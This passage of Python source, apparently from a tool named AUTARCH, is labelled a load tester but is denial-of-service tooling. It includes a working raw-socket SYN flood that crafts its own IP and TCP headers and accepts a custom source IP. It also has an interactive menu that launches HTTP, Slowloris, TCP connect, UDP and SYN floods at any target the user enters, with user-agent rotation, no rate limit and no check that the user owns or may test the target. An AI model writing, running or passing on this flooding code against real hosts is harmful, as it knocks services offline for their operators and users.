|||
|
|
# Pseudo header for TCP checksum
|
|||
|
|
pseudo = struct.pack('!4s4sBBH',
|
|||
|
|
ip_saddr, ip_daddr, 0, ip_proto, 20)
|
|||
|
|
tcp_check = self._checksum(pseudo + tcp_header)
|
|||
|
|
tcp_header = struct.pack('!HHLLBBHHH',
|
|||
|
|
src_port, dst_port, tcp_seq, tcp_ack_seq,
|
|||
|
|
tcp_offset_res, tcp_flags, tcp_window,
|
|||
|
|
tcp_check, tcp_urg_ptr)
|
|||
|
|
|
|||
|
|
return ip_header + tcp_header
|
|||
|
|
|
|||
|
|
def _syn_worker(self, worker_id: int):
|
|||
|
|
"""SYN flood worker — sends raw TCP SYN packets.
|
|||
|
|
|
|||
|
|
Requires elevated privileges (admin/root) for raw sockets.
|
|||
|
|
Falls back to TCP connect flood if raw socket creation fails.
|
|||
|
|
"""
|
|||
|
|
target = self._config.get('target', '')
|
|||
|
|
host = target.split(':')[0] if ':' in target else target
|
|||
|
|
try:
|
|||
|
|
port = int(target.split(':')[1]) if ':' in target else 80
|
|||
|
|
except (ValueError, IndexError):
|
|||
|
|
port = 80
|
|||
|
|
|
|||
|
|
# Resolve target IP
|
|||
|
|
try:
|
|||
|
|
dst_ip = socket.gethostbyname(host)
|
|||
|
|
except socket.gaierror:
|
|||
|
|
result = RequestResult(error=f"Cannot resolve {host}", timestamp=time.time())
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
# Source IP: user-specified or auto-detect local IP
|
|||
|
|
src_ip = self._config.get('source_ip', '').strip()
|
|||
|
|
if not src_ip:
|
|||
|
|
try:
|
|||
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|||
|
|
s.connect((dst_ip, 80))
|
|||
|
|
src_ip = s.getsockname()[0]
|
|||
|
|
s.close()
|
|||
|
|
except Exception:
|
|||
|
|
src_ip = '127.0.0.1'
|
|||
|
|
|
|||
|
|
# Try to create raw socket
|
|||
|
|
try:
|
|||
|
|
import sys
|
|||
|
|
if sys.platform == 'win32':
|
|||
|
|
# Windows raw sockets
|
|||
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
|
|||
|
|
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
|||
|
|
else:
|
|||
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
|||
|
|
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
|||
|
|
except PermissionError:
|
|||
|
|
# Fall back to TCP connect flood
|
|||
|
|
self._tcp_worker(worker_id)
|
|||
|
|
return
|
|||
|
|
except OSError as e:
|
|||
|
|
result = RequestResult(
|
|||
|
|
error=f"Raw socket failed (need admin/root): {e}", timestamp=time.time()
|
|||
|
|
)
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
# Fall back
|
|||
|
|
self._tcp_worker(worker_id)
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
count = 0
|
|||
|
|
while self._should_continue(count):
|
|||
|
|
self._pause_event.wait()
|
|||
|
|
self._rate_limit_wait()
|
|||
|
|
|
|||
|
|
start = time.time()
|
|||
|
|
result = RequestResult(timestamp=start)
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
src_port = random.randint(1024, 65535)
|
|||
|
|
packet = self._build_syn_packet(src_ip, dst_ip, src_port, port)
|
|||
|
|
sock.sendto(packet, (dst_ip, 0))
|
|||
|
|
|
|||
|
|
elapsed = (time.time() - start) * 1000
|
|||
|
|
result.latency_ms = elapsed
|
|||
|
|
result.bytes_sent = len(packet)
|
|||
|
|
result.success = True
|
|||
|
|
except Exception as e:
|
|||
|
|
result.error = str(e)[:60]
|
|||
|
|
|
|||
|
|
self._result_queue.put(result)
|
|||
|
|
count += 1
|
|||
|
|
|
|||
|
|
sock.close()
|
|||
|
|
|
|||
|
|
|
|||
|
|
# Singleton
|
|||
|
|
_load_tester: Optional[LoadTester] = None
|
|||
|
|
|
|||
|
|
|
|||
|
|
def get_load_tester() -> LoadTester:
|
|||
|
|
global _load_tester
|
|||
|
|
if _load_tester is None:
|
|||
|
|
_load_tester = LoadTester()
|
|||
|
|
return _load_tester
|
|||
|
|
|
|||
|
|
|
|||
|
|
def _clear():
|
|||
|
|
import os
|
|||
|
|
os.system('cls' if os.name == 'nt' else 'clear')
|
|||
|
|
|
|||
|
|
|
|||
|
|
def _format_bytes(b: int) -> str:
|
|||
|
|
if b < 1024:
|
|||
|
|
return f"{b} B"
|
|||
|
|
elif b < 1024 * 1024:
|
|||
|
|
return f"{b / 1024:.1f} KB"
|
|||
|
|
elif b < 1024 * 1024 * 1024:
|
|||
|
|
return f"{b / (1024 * 1024):.1f} MB"
|
|||
|
|
return f"{b / (1024 * 1024 * 1024):.2f} GB"
|
|||
|
|
|
|||
|
|
|
|||
|
|
def run():
|
|||
|
|
"""Interactive CLI for the load testing module."""
|
|||
|
|
from core.banner import Colors
|
|||
|
|
|
|||
|
|
tester = get_load_tester()
|
|||
|
|
|
|||
|
|
while True:
|
|||
|
|
_clear()
|
|||
|
|
print(f"\n{Colors.RED} ╔══════════════════════════════════════╗{Colors.RESET}")
|
|||
|
|
print(f"{Colors.RED} ║ AUTARCH Load Tester ║{Colors.RESET}")
|
|||
|
|
print(f"{Colors.RED} ╚══════════════════════════════════════╝{Colors.RESET}")
|
|||
|
|
print()
|
|||
|
|
|
|||
|
|
if tester.running:
|
|||
|
|
m = tester.metrics
|
|||
|
|
print(f" {Colors.GREEN}● TEST RUNNING{Colors.RESET} Workers: {m.active_workers} Elapsed: {m.elapsed:.0f}s")
|
|||
|
|
print(f" {Colors.CYAN}RPS: {m.rps:.1f} Total: {m.total_requests} OK: {m.successful} Fail: {m.failed}{Colors.RESET}")
|
|||
|
|
print(f" {Colors.DIM}Avg: {m.avg_latency:.1f}ms P95: {m.p95_latency:.1f}ms P99: {m.p99_latency:.1f}ms{Colors.RESET}")
|
|||
|
|
print(f" {Colors.DIM}Sent: {_format_bytes(m.bytes_sent)} Recv: {_format_bytes(m.bytes_received)}{Colors.RESET}")
|
|||
|
|
print()
|
|||
|
|
print(f" {Colors.WHITE}1{Colors.RESET} — View live metrics")
|
|||
|
|
print(f" {Colors.WHITE}2{Colors.RESET} — Pause / Resume")
|
|||
|
|
print(f" {Colors.WHITE}3{Colors.RESET} — Stop test")
|
|||
|
|
print(f" {Colors.WHITE}0{Colors.RESET} — Back (test continues)")
|
|||
|
|
else:
|
|||
|
|
print(f" {Colors.WHITE}1{Colors.RESET} — HTTP Flood")
|
|||
|
|
print(f" {Colors.WHITE}2{Colors.RESET} — Slowloris")
|
|||
|
|
print(f" {Colors.WHITE}3{Colors.RESET} — TCP Connect Flood")
|
|||
|
|
print(f" {Colors.WHITE}4{Colors.RESET} — UDP Flood")
|
|||
|
|
print(f" {Colors.WHITE}5{Colors.RESET} — SYN Flood (requires admin)")
|
|||
|
|
print(f" {Colors.WHITE}6{Colors.RESET} — Quick Test (HTTP GET)")
|
|||
|
|
print(f" {Colors.WHITE}0{Colors.RESET} — Back")
|
|||
|
|
|
|||
|
|
print()
|
|||
|
|
try:
|
|||
|
|
choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip()
|
|||
|
|
except (EOFError, KeyboardInterrupt):
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
if choice == '0' or not choice:
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
if tester.running:
|
|||
|
|
if choice == '1':
|
|||
|
|
_show_live_metrics(tester)
|
|||
|
|
elif choice == '2':
|
|||
|
|
if tester._pause_event.is_set():
|
|||
|
|
tester.pause()
|
|||
|
|
print(f"\n {Colors.YELLOW}[!] Test paused{Colors.RESET}")
|
|||
|
|
else:
|
|||
|
|
tester.resume()
|
|||
|
|
print(f"\n {Colors.GREEN}[+] Test resumed{Colors.RESET}")
|
|||
|
|
time.sleep(1)
|
|||
|
|
elif choice == '3':
|
|||
|
|
tester.stop()
|
|||
|
|
_show_final_report(tester)
|
|||
|
|
else:
|
|||
|
|
if choice == '1':
|
|||
|
|
_configure_and_run(tester, 'http_flood')
|
|||
|
|
elif choice == '2':
|
|||
|
|
_configure_and_run(tester, 'slowloris')
|
|||
|
|
elif choice == '3':
|
|||
|
|
_configure_and_run(tester, 'tcp_connect')
|
|||
|
|
elif choice == '4':
|
|||
|
|
_configure_and_run(tester, 'udp_flood')
|
|||
|
|
elif choice == '5':
|
|||
|
|
_configure_and_run(tester, 'syn_flood')
|
|||
|
|
elif choice == '6':
|
|||
|
|
_quick_test(tester)
|
|||
|
|
|
|||
|
|
|
|||
|
|
def _configure_and_run(tester: LoadTester, attack_type: str):
|
|||
|
|
"""Interactive configuration and launch."""
|
|||
|
|
from core.banner import Colors
|
|||
|
|
|
|||
|
|
print(f"\n{Colors.BOLD} Configure {attack_type.replace('_', ' ').title()}{Colors.RESET}")
|
|||
|
|
print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}\n")
|
|||
|
|
|
|||
|
|
src_ip = ''
|
|||
|
|
try:
|
|||
|
|
if attack_type == 'http_flood':
|
|||
|
|
target = input(f" Target URL: ").strip()
|
|||
|
|
if not target:
|
|||
|
|
return
|
|||
|
|
if not target.startswith('http'):
|
|||
|
|
target = 'http://' + target
|
|||
|
|
method = input(f" Method [GET]: ").strip().upper() or 'GET'
|
|||
|
|
body = ''
|
|||
|
|
if method in ('POST', 'PUT'):
|
|||
|
|
body = input(f" Body: ").strip()
|
|||
|
|
elif attack_type == 'syn_flood':
|
|||
|
|
print(f" {Colors.YELLOW}[!] SYN flood requires administrator/root privileges{Colors.RESET}")
|
|||
|
|
target = input(f" Target (host:port): ").strip()
|
|||
|
|
if not target:
|
|||
|
|
return
|
|||
|
|
src_ip = input(f" Source IP (blank=auto): ").strip()
|
|||
|
|
method = ''
|
|||
|
|
body = ''
|
|||
|
|
elif attack_type in ('tcp_connect', 'udp_flood'):
|
|||
|
|
target = input(f" Target (host:port): ").strip()
|
|||
|
|
if not target:
|
|||
|
|
return
|
|||
|
|
method = ''
|
|||
|
|
body = ''
|
|||
|
|
elif attack_type == 'slowloris':
|
|||
|
|
target = input(f" Target URL or host:port: ").strip()
|
|||
|
|
if not target:
|
|||
|
|
return
|
|||
|
|
if not target.startswith('http') and ':' not in target:
|
|||
|
|
target = 'http://' + target
|
|||
|
|
method = ''
|
|||
|
|
body = ''
|
|||
|
|
else:
|
|||
|
|
target = input(f" Target: ").strip()
|
|||
|
|
if not target:
|
|||
|
|
return
|
|||
|
|
method = ''
|
|||
|
|
body = ''
|
|||
|
|
|
|||
|
|
workers_s = input(f" Workers [10]: ").strip()
|
|||
|
|
workers = int(workers_s) if workers_s else 10
|
|||
|
|
|
|||
|
|
duration_s = input(f" Duration in seconds [30]: ").strip()
|
|||
|
|
duration = int(duration_s) if duration_s else 30
|
|||
|
|
|
|||
|
|
ramp_s = input(f" Ramp pattern (constant/linear/step/spike) [constant]: ").strip()
|
|||
|
|
ramp = ramp_s if ramp_s in ('constant', 'linear', 'step', 'spike') else 'constant'
|
|||
|
|
|
|||
|
|
rate_s = input(f" Rate limit (req/s, 0=unlimited) [0]: ").strip()
|
|||
|
|
rate_limit = int(rate_s) if rate_s else 0
|
|||
|
|
|
|||
|
|
config = {
|
|||
|
|
'target': target,
|
|||
|
|
'attack_type': attack_type,
|
|||
|
|
'workers': workers,
|
|||
|
|
'duration': duration,
|
|||
|
|
'method': method,
|
|||
|
|
'body': body,
|
|||
|
|
'ramp_pattern': ramp,
|
|||
|
|
'rate_limit': rate_limit,
|
|||
|
|
'timeout': 10,
|
|||
|
|
'rotate_useragent': True,
|
|||
|
|
'verify_ssl': False,
|
|||
|
|
'follow_redirects': True,
|
|||
|
|
'payload_size': 1024,
|
|||
|
|
'source_ip': src_ip if attack_type == 'syn_flood' else '',
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
print(f"\n {Colors.YELLOW}[!] Starting {attack_type} against {target}{Colors.RESET}")
|
|||
|
|
print(f" {Colors.DIM}Workers: {workers} Duration: {duration}s Ramp: {ramp}{Colors.RESET}")
|
|||
|
|
confirm = input(f"\n {Colors.WHITE}Confirm? (y/n) [y]: {Colors.RESET}").strip().lower()
|
|||
|
|
if confirm == 'n':
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
tester.start(config)
|
|||
|
|
_show_live_metrics(tester)
|
|||
|
|
|
|||
|
|
except (ValueError, EOFError, KeyboardInterrupt):
|
|||
|
|
print(f"\n {Colors.YELLOW}[!] Cancelled{Colors.RESET}")
|
|||
|
|
time.sleep(1)
|
|||
|
|
|
|||
|
|
|
|||
|
|
def _quick_test(tester: LoadTester):
|
|||
|
|
"""Quick HTTP GET test with defaults."""
|
|||
|
|
from core.banner import Colors
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
target = input(f"\n Target URL: ").strip()
|
|||
|
|
if not target:
|
|||
|
|
return
|
|||
|
|
if not target.startswith('http'):
|
|||
|
|
target = 'http://' + target
|
|||
|
|
|
|||
|
|
config = {
|
|||
|
|
'target': target,
|
|||
|
|
'attack_type': 'http_flood',
|
|||
|
|
'workers': 10,
|
|||
|
|
'duration': 10,
|
|||
|
|
'method': 'GET',
|
|||
|
|
'body': '',
|
|||
|
|
'ramp_pattern': 'constant',
|
|||
|
|
'rate_limit': 0,
|
|||
|
|
'timeout': 10,
|
|||
|
|
'rotate_useragent': True,
|
|||
|
|
'verify_ssl': False,
|
|||
|
|
'follow_redirects': True,
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
print(f"\n {Colors.YELLOW}[!] Quick test: 10 workers × 10 seconds → {target}{Colors.RESET}")
|
|||
|
|
tester.start(config)
|
|||
|
|
_show_live_metrics(tester)
|
|||
|
|
|
|||
|
|
except (EOFError, KeyboardInterrupt):
|
|||
|
|
pass
|
|||
|
|
|
|||
|
|
|
|||
|
|
def _show_live_metrics(tester: LoadTester):
|
|||
|
|
"""Display live-updating metrics in the terminal."""
|
|||
|
|
from core.banner import Colors
|
|||
|
|
import sys
|
|||
|
|
|
|||
|
|
print(f"\n {Colors.GREEN}● LIVE METRICS {Colors.DIM}(Press Ctrl+C to return to menu){Colors.RESET}\n")
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
while tester.running:
|
|||
|
|
m = tester.metrics
|
|||
|
|
rps_bar = '█' * min(int(m.rps / 10), 40)
|
|||
|
|
|
|||
|
|
sys.stdout.write('\033[2K\r') # Clear line
|
|||
|
|
sys.stdout.write(
|
|||
|
|
f" {Colors.CYAN}RPS: {m.rps:>7.1f}{Colors.RESET} "
|
|||
|
|
f"{Colors.DIM}{rps_bar}{Colors.RESET} "
|
|||
|
|
f"Total: {m.total_requests:>8} "
|
|||
|
|
f"{Colors.GREEN}OK: {m.successful}{Colors.RESET} "
|
|||
|
|
f"{Colors.RED}Fail: {m.failed}{Colors.RESET} "
|
|||
|
|
f"Avg: {m.avg_latency:.0f}ms "
|
|||
|
|
f"P95: {m.p95_latency:.0f}ms "
|
|||
|
|
f"Workers: {m.active_workers}"
|
|||
|
|
)
|
|||
|
|
sys.stdout.flush()
|
|||
|
|
time.sleep(0.5)
|
|||
|
|
except KeyboardInterrupt:
|
|||
|
|
pass
|
|||
|
|
|
|||
|
|
print()
|
|||
|
|
if not tester.running:
|
|||
|
|
_show_final_report(tester)
|
|||
|
|
|
|||
|
|
|
|||
|
|
def _show_final_report(tester: LoadTester):
|
|||
|
|
"""Display final test results."""
|
|||
|
|
from core.banner import Colors
|
|||
|
|
|
|||
|
|
m = tester.metrics
|
|||
|
|
print(f"\n{Colors.BOLD} ─── Test Complete ───{Colors.RESET}\n")
|
|||
|
|
print(f" Total Requests: {m.total_requests}")
|
|||
|
|
print(f" Successful: {Colors.GREEN}{m.successful}{Colors.RESET}")
|
|||
|
|
print(f" Failed: {Colors.RED}{m.failed}{Colors.RESET}")
|
|||
|
|
print(f" Duration: {m.elapsed:.1f}s")
|
|||
|
|
print(f" Avg RPS: {m.rps:.1f}")
|
|||
|
|
print(f" Data Sent: {_format_bytes(m.bytes_sent)}")
|
|||
|
|
print(f" Data Received: {_format_bytes(m.bytes_received)}")
|
|||
|
|
print()
|
|||
|
|
print(f" {Colors.CYAN}Latency:{Colors.RESET}")
|
|||
|
|
print(f" Min: {m.min_latency:.1f}ms")
|
|||
|
|
print(f" Avg: {m.avg_latency:.1f}ms")
|
|||
|
|
print(f" P50: {m.p50_latency:.1f}ms")
|
|||
|
|
print(f" P95: {m.p95_latency:.1f}ms")
|
|||
|
|
print(f" P99: {m.p99_latency:.1f}ms")
|
|||
|
|
print(f" Max: {m.max_latency:.1f}ms")
|
|||
|
|
|
|||
|
|
if m.status_codes:
|
|||
|
|
print(f"\n {Colors.CYAN}Status Codes:{Colors.RESET}")
|
|||
|
|
for code, count in sorted(m.status_codes.items()):
|
|||
|
|
color = Colors.GREEN if 200 <= code < 300 else Colors.YELLOW if 300 <= code < 400 else Colors.RED
|
|||
|
|
print(f" {color}{code}{Colors.RESET}: {count}")
|
|||
|
|
|
|||
|
|
if m.errors:
|
|||
|
|
print(f"\n {Colors.RED}Top Errors:{Colors.RESET}")
|
|||
|
|
for err, count in sorted(m.errors.items(), key=lambda x: -x[1])[:5]:
|
|||
|
|
print(f" {count}× {err}")
|
|||
|
|
|
|||
|
|
print()
|
|||
|
|
try:
|
|||
|
|
input(f" {Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|||
|
|
except (EOFError, KeyboardInterrupt):
|
|||
|
|
pass
|